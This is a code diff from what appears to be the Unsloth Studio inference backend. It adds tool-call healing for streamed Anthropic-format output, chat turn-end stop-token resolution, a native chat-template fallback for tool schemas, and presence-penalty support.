# Expose InferenceOrchestrator as InferenceBackend for backward compat.
InferenceBackend = InferenceOrchestrator
from typing import TYPE_CHECKING
__all__ = [
"InferenceBackend",
@ -21,3 +24,33 @@ __all__ = [
"get_inference_backend",
"LlamaCppBackend",
]
# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator.
_LAZY_ATTRS = {
"InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"),
"InferenceBackend": ("orchestrator", "InferenceOrchestrator"),
"get_inference_backend": ("orchestrator", "get_inference_backend"),
"LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"),
}
def __getattr__(name):
try:
submodule, attr = _LAZY_ATTRS[name]
except KeyError:
raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None
from importlib import import_module
value = getattr(import_module(f"{__name__}.{submodule}"), attr)
globals()[name] = value # cache so later access skips __getattr__
return value
def __dir__():
return sorted(set(globals()) | set(__all__))
if TYPE_CHECKING: # keep static analysers / IDEs aware of the lazy names
from .llama_cpp import LlamaCppBackend
from .orchestrator import InferenceOrchestrator, get_inference_backend
InferenceBackend = InferenceOrchestrator

147
studio/backend/core/inference/anthropic_compat.py
View file

@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter:
self._usage: dict = {}
self._stop_reason: str = "end_turn"
self._stop_sequence: Optional[str] = None
# Optional text-form tool-call healing (client-tool passthrough only).
self._healer = None
self._healed_tool_use = False
self._healed_call_count = 0
self._heal_disable_parallel = False
def enable_healing(
self,
allowed_tools: set,
tools: Optional[list] = None,
*,
disable_parallel_tool_use: bool = False,
) -> None:
"""Promote text-form tool calls in streamed content to tool_use blocks.
Only calls naming a tool in ``allowed_tools`` (the client's declared
tools) are promoted; everything else streams as text exactly as before.
Never enabled for Studio's own tool loop.
"""
from core.inference.passthrough_healing import StreamToolCallHealer
self._healer = StreamToolCallHealer(allowed_tools, tools)
self._heal_disable_parallel = disable_parallel_tool_use
def start(
self,
@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter:
delta = choice.get("delta") or {}
finish_reason = choice.get("finish_reason")
# ── Structured tool calls take precedence over healing ──
# Grammar mode worked: flush anything the healer held (it preceded the
# call in the model's output) and relay verbatim from here on.
if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
for kind, value in self._healer.structured_tool_call_seen():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
# ── Text content ──
content = delta.get("content")
if content:
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
if content and self._healer is not None and not self._healer.dormant:
# Route text through the healer: held/promoted portions become
# synthetic tool_use blocks, the rest streams as text unchanged.
for kind, value in self._healer.feed(content):
if kind == "text":
events.extend(self._emit_text_delta(value))
else:
events.extend(self._emit_healed_tool_use(value))
elif content:
events.extend(self._emit_text_delta(content))
# ── Tool calls (streaming deltas) ──
tool_calls = delta.get("tool_calls") or []
for tc in tool_calls:
tc_idx = tc.get("index", 0)
fn = tc.get("function") or {}
if (
self._heal_disable_parallel
and tc_idx not in self._tool_call_states
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# disable_parallel_tool_use: a healed call already consumed the
# single allowed slot. The caller's chunk-level cap only sees
# native indexes, so drop this native call (and its later
# argument deltas, which never allocate a state either).
continue
if tc_idx not in self._tool_call_states:
# New tool call — close prior block, open tool_use block
if self._current_block_type is not None:
@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter:
def finish(self) -> list[str]:
events: list[str] = []
if self._healer is not None:
# Last-chance heal of any held residue (e.g. an unclosed tool block).
for kind, value in self._healer.finalize():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
elif kind == "tool_call":
events.extend(self._emit_healed_tool_use(value))
if self._healed_tool_use and self._stop_reason != "max_tokens":
# A promoted call must stop for tool use; a truncation still wins
# (its arguments may be incomplete).
self._stop_reason = "tool_use"
if self._current_block_type is not None:
events.append(self._close_current_block())
events.append(
@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter:
)
return events
def _emit_text_delta(self, content: str) -> list[str]:
events: list[str] = []
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
return events
def _emit_healed_tool_use(self, call: dict) -> list[str]:
# A healed call arrives complete, so its tool_use block opens, carries
# one input_json_delta, and closes immediately; an open text block is
# closed first (only the safe prefix ever streamed into it).
if (
self._heal_disable_parallel
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# Healed and native calls share the single allowed slot.
return []
events: list[str] = []
if self._current_block_type is not None:
events.append(self._close_current_block())
function = call.get("function") or {}
tool_id = anthropic_tool_use_id("")
self.block_index += 1
self._current_block_type = "tool_use"
events.append(
build_anthropic_sse_event(
"content_block_start",
{
"type": "content_block_start",
"index": self.block_index,
"content_block": {
"type": "tool_use",
"id": tool_id,
"name": function.get("name", ""),
"input": {},
},
},
)
)
arguments = function.get("arguments") or ""
if arguments:
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {
"type": "input_json_delta",
"partial_json": arguments,
},
},
)
)
events.append(self._close_current_block())
self._healed_tool_use = True
self._healed_call_count += 1
return events
def _open_text_block(self) -> list[str]:
self.block_index += 1
self._current_block_type = "text"

109
studio/backend/core/inference/chat_eos.py Normal file
View file

@ -0,0 +1,109 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Resolve a chat model's assistant-turn-end stop tokens.
Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships
config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its
small chat variants ship no generation_config), so generation runs past the turn
and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns.
Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it
actually uses to end a turn), not raw vocab membership: a base/coder model can
carry ChatML control tokens in a shared vocab without using them, and a loader
may have synced ``eos_token`` to the document terminator. Dependency-light (no
torch / unsloth) so it is unit-testable without the full inference stack.
"""
from typing import Optional
# Canonical assistant-turn-end markers per chat family.
_CHAT_TURN_END_TOKENS = (
"<|im_end|>", # ChatML: Qwen, Yi
"<|eot_id|>", # Llama 3.x
"<|eom_id|>", # Llama 3.x tool turns
"<end_of_turn>", # Gemma
"<turn|>", # Gemma-4
"<|end|>", # Phi
"<|end_of_turn|>", # OpenChat / Starling (barred, distinct from Gemma's)
)
# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has
# its own streamer, so its eos is left untouched.
_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>")
def _eos_id_set(eos_token_id) -> set:
if isinstance(eos_token_id, (list, tuple)):
return {int(t) for t in eos_token_id if t is not None}
if eos_token_id is not None:
return {int(eos_token_id)}
return set()
def _collect_template_text(chat_template) -> str:
"""Flatten a tokenizer ``chat_template`` into one scannable string.
Usually the template is a single jinja string, but multi-variant models
(e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a
``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list
of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case
would skip turn-end detection for those valid models, so gather every string
leaf (variant names are harmless: they never contain the markers).
"""
if isinstance(chat_template, str):
return chat_template
if isinstance(chat_template, dict):
values = chat_template.values()
elif isinstance(chat_template, (list, tuple)):
values = chat_template
else:
return ""
parts = [_collect_template_text(v) for v in values]
return "\n".join(p for p in parts if p)
def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list:
"""eos of ``id_tokenizer`` plus any canonical turn-end marker the
``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` --
the tokenizer generation actually uses.
Pass the same tokenizer for both at load time. After a mapped ``get_chat_template``
pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective
template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped
template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab
folds the turn-end token onto the doc-eos id, and generate_stream re-reads the
original tokenizer, so resolving ids on the mapped tokenizer would store the wrong
(doc-eos) id and let generation run past the real turn marker."""
ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None))
template = _collect_template_text(getattr(template_tokenizer, "chat_template", None))
if not template or any(h in template for h in _HARMONY_MARKERS):
return sorted(ids)
unk = getattr(id_tokenizer, "unk_token_id", None)
for marker in _CHAT_TURN_END_TOKENS:
if marker in template:
try:
tid = id_tokenizer.convert_tokens_to_ids(marker)
except Exception:
tid = None
if tid is not None and tid != unk and int(tid) >= 0:
ids.add(int(tid))
return sorted(ids)
def resolve_chat_turn_end_eos_ids(tokenizer) -> list:
"""tokenizer.eos plus any canonical turn-end marker the model's chat_template
actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended
to be resolved once at load. Returns eos unchanged for harmony templates."""
return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer)
def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]:
"""Merged eos_token_id list, or None if ``current_eos`` already covers every
resolved turn-end id. Used to repair a model's generation_config at load so
every ``.generate()`` path (vision, tool loops) stops at the turn boundary."""
if not turn_end_ids:
return None
current_set = _eos_id_set(current_eos)
if set(turn_end_ids) <= current_set:
return None
return sorted(current_set | set(turn_end_ids))

270
studio/backend/core/inference/chat_template_helpers.py
View file

@ -3,12 +3,60 @@
"""
Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
fallback for templates that reject reasoning/tools args.
fallback for templates that reject reasoning/tools args, plus the shared
native-chat-template fallback used by the transformers and MLX backends.
"""
import copy
import json
import logging
from typing import Optional
logger = logging.getLogger(__name__)
def _normalize_tool_call_arguments(messages: list) -> list:
"""Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
string to a dict.
The OpenAI wire format carries ``arguments`` as a JSON string, but some chat
templates (e.g. the stricter Qwen tool templates shipped with mlx-community
checkpoints) iterate ``arguments.items()`` and raise
``TypeError: Can only get item pairs from a mapping.`` on the string form
when a prior tool call is re-rendered on the next turn. A dict works on both
strict and lenient templates, so parse the string; leave non-JSON or non-dict
values untouched. Returns the original list unchanged when nothing needed
coercing (no copy)."""
mutated = False
out: list = []
for msg in messages:
tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None
if not tool_calls:
out.append(msg)
continue
new_calls = []
msg_changed = False
for call in tool_calls:
fn = call.get("function") if isinstance(call, dict) else None
args = fn.get("arguments") if isinstance(fn, dict) else None
if isinstance(args, str):
try:
parsed = json.loads(args)
except (ValueError, TypeError):
parsed = None
if isinstance(parsed, dict):
call = {**call, "function": {**fn, "arguments": parsed}}
msg_changed = True
new_calls.append(call)
if msg_changed:
out.append({**msg, "tool_calls": new_calls})
mutated = True
else:
out.append(msg)
return out if mutated else messages
def apply_chat_template_for_generation(
tokenizer,
messages: list,
@ -38,21 +86,209 @@ def apply_chat_template_for_generation(
attempts.append(dict(reasoning_kwargs))
attempts.append({})
last_exc: Optional[Exception] = None
for kwargs in attempts:
def _render(msgs: list) -> str:
last_exc: Optional[Exception] = None
for kwargs in attempts:
try:
return tokenizer.apply_chat_template(
msgs,
tokenize = False,
add_generation_prompt = True,
**kwargs,
)
except TypeError as e:
last_exc = e
continue
except Exception as e:
last_exc = e
break
if last_exc is not None:
raise last_exc
raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
try:
return _render(messages)
except Exception:
# Strict tool templates reject the JSON-string ``arguments`` form via
# TypeError or a broad Jinja raise_exception, so retry with dicts coerced.
# Original messages render first, so working templates stay byte-identical.
normalized = _normalize_tool_call_arguments(messages)
if normalized is messages:
raise
return _render(normalized)
def render_native_template(
*,
model_info: dict,
active_model_name: Optional[str],
messages: list,
tools: list,
enable_thinking: Optional[bool] = None,
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
apply_fn = None,
hf_token: Optional[str] = None,
) -> Optional[str]:
"""Render ``messages`` + ``tools`` with the model's NATIVE chat template.
Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit
the ``tools`` schema, so a tool-calling turn silently stops advertising tools.
The native template ships in the model repo and carries the family's
tool-calling syntax. It is loaded straight from the repo (bypassing any
override on the live tokenizer) and cached on ``model_info``. Returns the
rendered prompt only if the native template actually emits the tools (render
differs with vs without tools); otherwise ``None``.
``hf_token`` is the token the model was loaded with -- passed to the repo load
so a gated/private model's native template can still be fetched (otherwise the
fallback fails silently and keeps the override prompt that dropped tools).
``trust_remote_code`` is sourced from ``model_info`` (the value the model was
actually loaded with) rather than a call-site argument, so the native-template
reload uses exactly the consent already granted at load. A custom-code tokenizer
repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is
passed, so without this the fallback fails silently and keeps the tool-dropping
prompt for a model the user already consented to run remote code for. For a LoRA
adapter the reload targets the base model, whose remote code was gated and loaded
under the same stored flag, so re-passing it executes no unconsented code.
"""
# ``apply_fn`` lets a backend inject its own render; defaults to the module helper.
if apply_fn is None:
apply_fn = apply_chat_template_for_generation
native_tpl = model_info.get("native_chat_template")
if native_tpl is None:
# A LoRA adapter's native template lives on the base model, not the adapter id.
template_source = model_info.get("base_model") or active_model_name
# Re-use the load-time trust_remote_code so a custom-code tokenizer repo can
# instantiate its class (the stored flag already covers template_source).
trust_remote_code = bool(model_info.get("trust_remote_code", False))
try:
return tokenizer.apply_chat_template(
messages,
tokenize = False,
add_generation_prompt = True,
**kwargs,
from transformers import AutoTokenizer
nt = AutoTokenizer.from_pretrained(
template_source,
token = hf_token if hf_token and hf_token.strip() else None,
trust_remote_code = trust_remote_code,
)
except TypeError as e:
last_exc = e
continue
except Exception as e:
last_exc = e
break
if last_exc is not None:
raise last_exc
raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
native_tpl = nt.chat_template or False
except Exception as exc:
logger.warning(
"Could not load native chat template for '%s': %s",
template_source,
exc,
)
# A failed fetch is not "no template": leave the sentinel unset so the next
# call retries (caching False would pin the tool-dropping override).
return None
model_info["native_chat_template"] = native_tpl
if not native_tpl:
return None
tokenizer = model_info.get("tokenizer") or model_info.get("processor")
if tokenizer is None:
return None
tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
# Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the
# generation lock) races concurrent requests.
try:
render_tokenizer = copy.copy(tokenizer)
render_tokenizer.chat_template = native_tpl
except Exception as exc:
logger.warning(
"Could not clone tokenizer for native-template render of '%s': %s",
active_model_name,
exc,
)
return None
try:
with_tools = apply_fn(
render_tokenizer,
messages,
tools = tools,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
)
no_tools = apply_fn(
render_tokenizer,
messages,
tools = None,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
)
except Exception as exc:
logger.warning(
"Native-template tool render failed for '%s': %s",
active_model_name,
exc,
)
return None
return with_tools if with_tools != no_tools else None
def render_with_native_template_fallback(
*,
formatted_prompt: str,
tokenizer,
model_info: dict,
active_model_name: Optional[str],
messages: list,
tools: Optional[list],
enable_thinking: Optional[bool] = None,
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
apply_fn = None,
hf_token: Optional[str] = None,
) -> str:
"""Return ``formatted_prompt``, swapping in a native-template render when an
override template dropped the ``tools`` schema.
If ``tools`` were requested but the live render is identical with and without
them (detected by comparison, robust against tool names in the system prompt),
re-render with the model's native template. Shared by the transformers and MLX
backends so both advertise tools consistently. ``hf_token`` is forwarded so a
gated/private model's native template can still be fetched."""
if not tools:
return formatted_prompt
if apply_fn is None:
apply_fn = apply_chat_template_for_generation
# Probe whether the live template dropped the schema. A tools-requiring template
# can raise here; on any error keep the valid tools prompt rather than lose it.
try:
probe_no_tools = apply_fn(
tokenizer,
messages,
tools = None,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
)
except Exception as exc:
logger.warning(
"No-tools probe failed for '%s'; keeping the existing tools prompt: %s",
active_model_name,
exc,
)
return formatted_prompt
if formatted_prompt != probe_no_tools:
return formatted_prompt # template already emits the tools schema
native_prompt = render_native_template(
model_info = model_info,
active_model_name = active_model_name,
messages = messages,
tools = tools,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
apply_fn = apply_fn,
hf_token = hf_token,
)
if native_prompt:
logger.info(
"Override template for '%s' dropped tool schemas; using the model's "
"native template for this tool-calling turn.",
active_model_name,
)
return native_prompt
return formatted_prompt

2
studio/backend/core/inference/defaults.py
View file

@ -8,6 +8,7 @@ import utils.hardware.hardware as hw
DEFAULT_MODELS_GGUF = [
"unsloth/Qwen3.6-27B-MTP-GGUF",
"unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
"unsloth/DeepSeek-V4-Flash-GGUF",
"unsloth/gemma-4-E2B-it-GGUF",
"unsloth/gemma-4-E4B-it-GGUF",
"unsloth/gemma-4-31B-it-GGUF",
@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [
DEFAULT_MODELS_STANDARD = [
"unsloth/Qwen3.6-27B-MTP-GGUF",
"unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
"unsloth/DeepSeek-V4-Flash-GGUF",
"unsloth/gemma-4-E2B-it-GGUF",
"unsloth/gemma-4-E4B-it-GGUF",
"unsloth/gemma-4-31B-it-GGUF",

8
studio/backend/core/inference/external_provider.py
View file

@ -771,11 +771,9 @@ class ExternalProviderClient:
self.base_url = self.base_url[: -len("/openai")]
self.api_key = api_key
self._timeout = httpx.Timeout(timeout, connect = 10.0)
# Disable read timeout on SSE streams: reasoning-heavy models pause
# tens of seconds between bytes while thinking, and httpx's read
# timeout is the per-byte gap, not wall clock. connect/write bounds
# still surface real network failures.
self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = None)
# Generous per-byte read timeout: reasoning models pause tens of seconds
# between bytes, but a dead upstream must eventually error, not hang forever.
self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = 300.0)
def _auth_headers(self) -> dict[str, str]:
"""Build authentication headers using the provider's registry config."""

158
studio/backend/core/inference/inference.py
View file

@ -26,6 +26,12 @@ from utils.hardware import (
)
from core.inference.audio_codecs import AudioCodecManager
from core.inference.runtime_context import runtime_context_length
from core.inference.message_content import content_to_text
from core.inference.chat_eos import (
chat_eos_repair,
resolve_chat_turn_end_eos_ids_using,
)
from core.inference.presence_penalty import _make_presence_penalty_processor
from io import StringIO
import structlog
from loggers import get_logger
@ -209,6 +215,50 @@ class InferenceBackend:
# API uses -1 to disable top-k; transformers uses 0.
return 0 if top_k < 0 else top_k
def _resolve_chat_eos(self, model_name: str) -> None:
"""Resolve this chat model's assistant-turn-end stop tokens once at load,
cache them in model_info, and repair generation_config so every
``.generate()`` path stops at the turn boundary.
Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with
``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no
``generation_config.json``, so paths that read ``generation_config`` (the
vision path, tool loops) run past the turn and loop. Turn-end markers are
derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids),
so base/coder models and harmony templates are left untouched.
"""
info = self.models.get(model_name) or {}
model = info.get("model")
container = info.get("tokenizer")
tokenizer = getattr(container, "tokenizer", container) # unwrap processors
if model is None or tokenizer is None:
return
# Vision models carry the chat_template on the processor, not the inner
# tokenizer. Read markers from whichever has one, but resolve ids on the
# generation tokenizer, else the vision path misses the turn-end token.
template_source = container if getattr(container, "chat_template", None) else tokenizer
try:
turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer)
except Exception as e: # never block a load on eos resolution
logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e)
return
info["chat_turn_end_eos_ids"] = turn_end_ids
gen = getattr(model, "generation_config", None)
if gen is None:
return
repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids)
if repaired is None:
return
previous = gen.eos_token_id
gen.eos_token_id = repaired
logger.info(
"Repaired generation_config.eos_token_id for %s: %s -> %s",
model_name,
previous,
repaired,
)
def load_model(
self,
config: ModelConfig,
@ -220,6 +270,9 @@ class InferenceBackend:
gpu_ids: Optional[list[int]] = None,
) -> bool:
"""Load any model: base, LoRA adapter, text, or vision."""
# Keep the token so the native-template fallback can fetch a
# gated model's repo template later during generation.
self._hf_token = hf_token
# GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it.
if max_seq_length <= 0:
max_seq_length = 2048
@ -230,6 +283,8 @@ class InferenceBackend:
# Already loaded?
if model_name in self.models and self.models[model_name].get("model"):
logger.info(f"Model {model_name} already loaded")
if hf_token:
self.models[model_name]["hf_token"] = hf_token
self.active_model_name = model_name
return True
@ -245,6 +300,14 @@ class InferenceBackend:
)
self.models[model_name] = {
# Per-model token: the native-template fallback must use the
# token this model was loaded with, not whichever loaded last.
"hf_token": hf_token,
# Per-model consent: the native-template reload must re-use the
# exact trust_remote_code this model (and a LoRA's base) was loaded
# with, so a custom-code tokenizer repo can be re-fetched without
# executing any code the user did not already consent to.
"trust_remote_code": trust_remote_code,
"is_vision": config.is_vision,
"is_lora": config.is_lora,
"is_audio": config.is_audio,
@ -495,6 +558,7 @@ class InferenceBackend:
max_seq_length,
)
self._resolve_chat_eos(model_name)
self._load_chat_template_info(model_name)
self.active_model_name = model_name
@ -765,9 +829,11 @@ class InferenceBackend:
preserve_thinking: Optional[bool] = None,
max_tool_iterations: int = 25,
auto_heal_tool_calls: bool = True,
nudge_tool_calls: Optional[bool] = None,
tool_call_timeout: int = 300,
session_id: Optional[str] = None,
rag_scope: Optional[dict] = None,
presence_penalty: float = 0.0,
):
"""Run an agentic tool loop on top of ``generate_chat_response``.
@ -801,6 +867,7 @@ class InferenceBackend:
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
presence_penalty = presence_penalty,
)
initial = list(messages)
@ -814,6 +881,7 @@ class InferenceBackend:
execute_tool = execute_tool,
cancel_event = cancel_event,
auto_heal_tool_calls = auto_heal_tool_calls,
nudge_tool_calls = nudge_tool_calls,
max_tool_iterations = max_tool_iterations,
tool_call_timeout = tool_call_timeout,
session_id = session_id,
@ -836,12 +904,14 @@ class InferenceBackend:
enable_thinking: Optional[bool] = None,
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Generate response for text or vision models (lock held by background thread).
``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking``
are forwarded into ``apply_chat_template`` so templates that understand them
(Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls.
``presence_penalty`` matches the GGUF sampling path (0 disables it).
"""
yield from self._generate_chat_response_inner(
messages = messages,
@ -858,6 +928,7 @@ class InferenceBackend:
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
presence_penalty = presence_penalty,
)
def _generate_chat_response_inner(
@ -877,6 +948,7 @@ class InferenceBackend:
enable_thinking: Optional[bool] = None,
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Inner generation logic, called by generate_chat_response and
generate_with_adapter_control.
@ -916,6 +988,7 @@ class InferenceBackend:
max_new_tokens,
repetition_penalty,
cancel_event = cancel_event,
presence_penalty = presence_penalty,
)
return
else:
@ -945,6 +1018,22 @@ class InferenceBackend:
tokenizer,
chat_template = template_name,
)
# The mapper installs the effective template only now, at generate
# time, so re-resolve and UNION into the load-time cache (never
# overwrite). get_chat_template can return a remapped tokenizer
# (turn-end folded onto doc-eos) while generate_stream reads the
# original, so take marker strings from the mapped template but
# resolve their ids on the original.
try:
_gen_tok = model_info.get("tokenizer") or tokenizer
refreshed = resolve_chat_turn_end_eos_ids_using(
getattr(tokenizer, "tokenizer", tokenizer),
getattr(_gen_tok, "tokenizer", _gen_tok),
)
existing = model_info.get("chat_turn_end_eos_ids") or []
model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed))
except Exception as e:
logger.warning(f"Could not refresh chat turn-end eos after template: {e}")
else:
logger.info(
f"No registered Unsloth template for {self.active_model_name}, using tokenizer default"
@ -974,6 +1063,27 @@ class InferenceBackend:
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
)
# If tools were requested but the (possibly overridden) template ignored
# them, fall back to the model's native template (shared with MLX).
from core.inference.chat_template_helpers import (
render_with_native_template_fallback,
)
formatted_prompt = render_with_native_template_fallback(
formatted_prompt = formatted_prompt,
tokenizer = tokenizer,
model_info = model_info,
active_model_name = self.active_model_name,
messages = template_messages,
tools = tools,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
apply_fn = self._apply_chat_template_for_generation,
hf_token = model_info.get("hf_token"),
)
logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...")
except Exception as e:
logger.error(f"Error applying chat template: {e}")
@ -991,6 +1101,7 @@ class InferenceBackend:
repetition_penalty,
cancel_event = cancel_event,
_adapter_state = _adapter_state,
presence_penalty = presence_penalty,
)
def _generate_vision_response(
@ -1005,6 +1116,7 @@ class InferenceBackend:
max_new_tokens,
repetition_penalty,
cancel_event = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Handle vision model generation with true token-by-token streaming."""
model_info = self.models[self.active_model_name]
@ -1018,7 +1130,7 @@ class InferenceBackend:
user_message = ""
if messages and messages[-1]["role"] == "user":
import re
user_message = messages[-1]["content"]
user_message = content_to_text(messages[-1]["content"])
user_message = re.sub(r"<img[^>]*>", "", user_message).strip()
if not user_message:
@ -1094,6 +1206,14 @@ class InferenceBackend:
top_k = top_k,
min_p = min_p,
)
# Presence penalty (GGUF parity) for VLM chat.
_vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None
if _vision_input_ids is not None:
_pp = _make_presence_penalty_processor(
presence_penalty, int(_vision_input_ids.shape[1])
)
if _pp is not None:
generation_kwargs["logits_processor"] = _pp
err: dict[str, str] = {}
@ -1181,7 +1301,7 @@ class InferenceBackend:
if messages:
for msg in reversed(messages):
if msg["role"] == "user" and msg.get("content"):
user_text = msg["content"]
user_text = content_to_text(msg["content"])
break
# ASR-specific default system prompt if none set
@ -1322,11 +1442,13 @@ class InferenceBackend:
repetition_penalty: float = 1.0,
cancel_event = None,
_adapter_state = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Generate a streaming text response (text models only).
_adapter_state: if not None, the background thread toggles adapters
before model.generate(), under _generation_lock.
``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it).
"""
if not self.active_model_name:
yield "Error: No active model"
@ -1381,11 +1503,18 @@ class InferenceBackend:
min_p = min_p,
repetition_penalty = repetition_penalty,
do_sample = temperature > 0,
eos_token_id = tokenizer.eos_token_id,
# Resolved once at load (chat_template-derived turn-end tokens).
eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id,
pad_token_id = tokenizer.eos_token_id
if tokenizer.pad_token_id is None
else tokenizer.pad_token_id,
)
# Presence penalty (GGUF parity); prompt_len excludes prompt tokens.
_pp = _make_presence_penalty_processor(
presence_penalty, int(inputs["input_ids"].shape[1])
)
if _pp is not None:
generation_kwargs["logits_processor"] = _pp
if cancel_event is not None:
from transformers.generation.stopping_criteria import (
StoppingCriteria,
@ -1713,7 +1842,7 @@ class InferenceBackend:
for msg in messages:
role = msg.get("role", "")
content = msg.get("content", "")
content = content_to_text(msg.get("content", ""))
if role in ["system", "user", "assistant"] and content.strip():
if role == last_role:
@ -1801,7 +1930,7 @@ class InferenceBackend:
for msg in messages:
role = msg["role"]
content = msg["content"]
content = content_to_text(msg["content"])
formatted += f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>"
formatted += "<|start_header_id|>assistant<|end_header_id|>\n\n"
@ -1817,14 +1946,14 @@ class InferenceBackend:
for msg in messages:
if msg["role"] == "system":
system_msg = msg["content"]
system_msg = content_to_text(msg["content"])
else:
conversation.append(msg)
i = 0
while i < len(conversation):
if conversation[i]["role"] == "user":
user_content = conversation[i]["content"]
user_content = content_to_text(conversation[i]["content"])
if system_msg and i == 0:
user_content = f"{system_msg}\n\n{user_content}"
@ -1832,7 +1961,7 @@ class InferenceBackend:
formatted += f"[INST] {user_content} [/INST]"
if i + 1 < len(conversation) and conversation[i + 1]["role"] == "assistant":
formatted += f" {conversation[i + 1]['content']}</s>"
formatted += f" {content_to_text(conversation[i + 1]['content'])}</s>"
i += 2
else:
formatted += " "
@ -1848,7 +1977,7 @@ class InferenceBackend:
for msg in messages:
role = msg["role"]
content = msg["content"]
content = content_to_text(msg["content"])
formatted += f"<|im_start|>{role}\n{content}<|im_end|>\n"
formatted += "<|im_start|>assistant\n"
@ -1860,16 +1989,17 @@ class InferenceBackend:
system_msg = None
for msg in messages:
content = content_to_text(msg["content"])
if msg["role"] == "system":
system_msg = msg["content"]
system_msg = content
elif msg["role"] == "user":
if system_msg:
formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{msg['content']}\n\n### Response:\n"
formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{content}\n\n### Response:\n"
system_msg = None
else:
formatted += f"### Human:\n{msg['content']}\n\n### Assistant:\n"
formatted += f"### Human:\n{content}\n\n### Assistant:\n"
elif msg["role"] == "assistant":
